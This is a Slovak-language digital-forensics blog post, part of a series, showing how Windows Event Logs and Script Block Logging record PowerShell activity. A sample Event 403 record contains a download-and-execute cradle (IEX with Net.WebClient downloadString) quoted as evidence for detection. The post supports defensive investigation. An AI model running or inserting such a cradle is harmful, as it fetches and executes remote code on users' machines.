Stopy po použití PowerShellu na systéme, Časť 5 – Windows Event Log

Singel-post cover image

PowerShell v Event Logoch

V defaultnom nastavení sa do Event logov zaznamenávajú aktivity spojené s PowerShell procesmi. Event logy sú štandardne uložené v priečinku C:\Windows\System32\winevt\Logs. PowerShellu sa primárne týkajú súbory Microsoft-Windows-Powershell Operational.evtx a Windows PowerShell.evtx.

Popis všetkých udalostí súvisiacich s vykonávaním PowerShellu je nad rámec tohto blogu 😊 Ukážme si však, že pokusy o stiahnutie skriptu zo stránky, ktoré sme z konzoly PowerShellu a z ISE spustili v predošlých príkladoch, viedli k vytvoreniu množstva eventov zaznamenávajúcich vykonanie príkazu. V logu Windows Powershell.evtx vidíme okrem času a dátumu vykonania aj názov zariadenia a samotný vykonaný príkaz:

Obrázok 1: Event 403 - Engine Stopped. V poli HostApplication je zaznamenaný aj vykonaný príkaz.

Obrázok 1: Event 403 - Engine Stopped. V poli HostApplication je zaznamenaný aj vykonaný príkaz.

Všimnime si však, že parametre CommandName, CommandType, ScriptName či CommandLine neboli vyplnené.

Log Name:      Windows PowerShell
Source:        PowerShell
Date:          9/19/2021 5:09:05 PM
Event ID:      403
Task Category: Engine Lifecycle
Level:         Information
Keywords:      Classic
User:          N/A
Computer:      JOE-PC
Description:
Engine state is changed from Available to Stopped. 

Details: 
	NewEngineState=Stopped
	PreviousEngineState=Available

	SequenceNumber=15

	HostName=ConsoleHost
	HostVersion=5.1.18362.145
	HostId=efd14966-ade1-443e-9727-2769ff388ca4
	HostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('https://www.istrosec.com/NonexistentScriptToExecute_fromISE.exe')
	EngineVersion=5.1.18362.145
	RunspaceId=b6060081-ef9c-4e74-9069-bda95dfae56b
	PipelineId=
	CommandName=
	CommandType=
	ScriptName=
	CommandPath=
	CommandLine=

Scriptblock Logging

Ak aj bol na systéme spustený zložitejší PowerShell skript, predvolene nebude v EventLogu zapísaný jeho obsah. Pre detailné zaznamenávanie „všetkého“, čo sa v PowerShelli vykoná, sú potrebné dodatočné úpravy nastavenia auditovania. Ak je naším cieľom zaznamenávať v Event Logu informácie napríklad o skriptoch spúšťaných v systéme, musíme nastaviť hodnotu registra HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging. Vytvoríme hodnotu “EnableScriptBlockLogging” typu DWORD a nastavíme ju na 1. Po úprave bude možné v PowerShell logoch nájsť udalosti obsahujúce kompletný výpis spusteného skriptu.

S povoleným ScriptBlock loggingom bude možné v Microsoft-Windows-PowerShell Operational.evtx nájsť záznamy obsahujúce kompletný skript.

Povedzme, že máme jednoduchý skript Get-Date.ps1:

Get-Date
Write-Host "Have a good day!"
Write-Host "What happens next?"
Invoke-WebRequest 'https://www.istrosec.com/images/blog/mwtools.png' -OutFile image.png

Jeho spustenie zanechá nasledovné stopy:

Aktivovaním transkriptu vznikne súbor scriptblock.txt³. Neobsahuje však žiadnu informáciu o stiahnutí obrázka:

Obrázok 2: PowerShell transkript po vykonaní skriptu.

Obrázok 2: PowerShell transkript po vykonaní skriptu.

V ConsoleHost_History.txt bude zaznamenané iba meno skriptu:

Obrázok 3: ConsoleHost_history po spustení skriptu

Obrázok 3: ConsoleHost_history po spustení skriptu

V Microsoft-Windows-PowerShell Operational.evtx logu môžeme nájsť zodpovedajúcu udalosť, kde je uvedený výpis kompletného skriptu.

Obrázok 4: Event s kompletným výpisom skriptu

Obrázok 4: Event s kompletným výpisom skriptu

Záver

Na predošlých riadkoch sme sa oboznámili s vybranými forenznými artefaktami, v ktorých možno nájst v systéme dôkaz o spúštaní PowerShellu.

Pozorovali sme, aké záznamy zanecháva v AppCompatCache, Prefetch súboroch a JumpListoch, a čo z nich môžeme vyvodiť. Stručne sme vysvetlili význam modulu PSReadline a PowerShell transkriptu. Na záver sme uviedli príklady záznamov v Event Logu, ktoré môžu poskytnút informácie o spúštaných PowerShell skriptoch a príkazoch.

Odkazy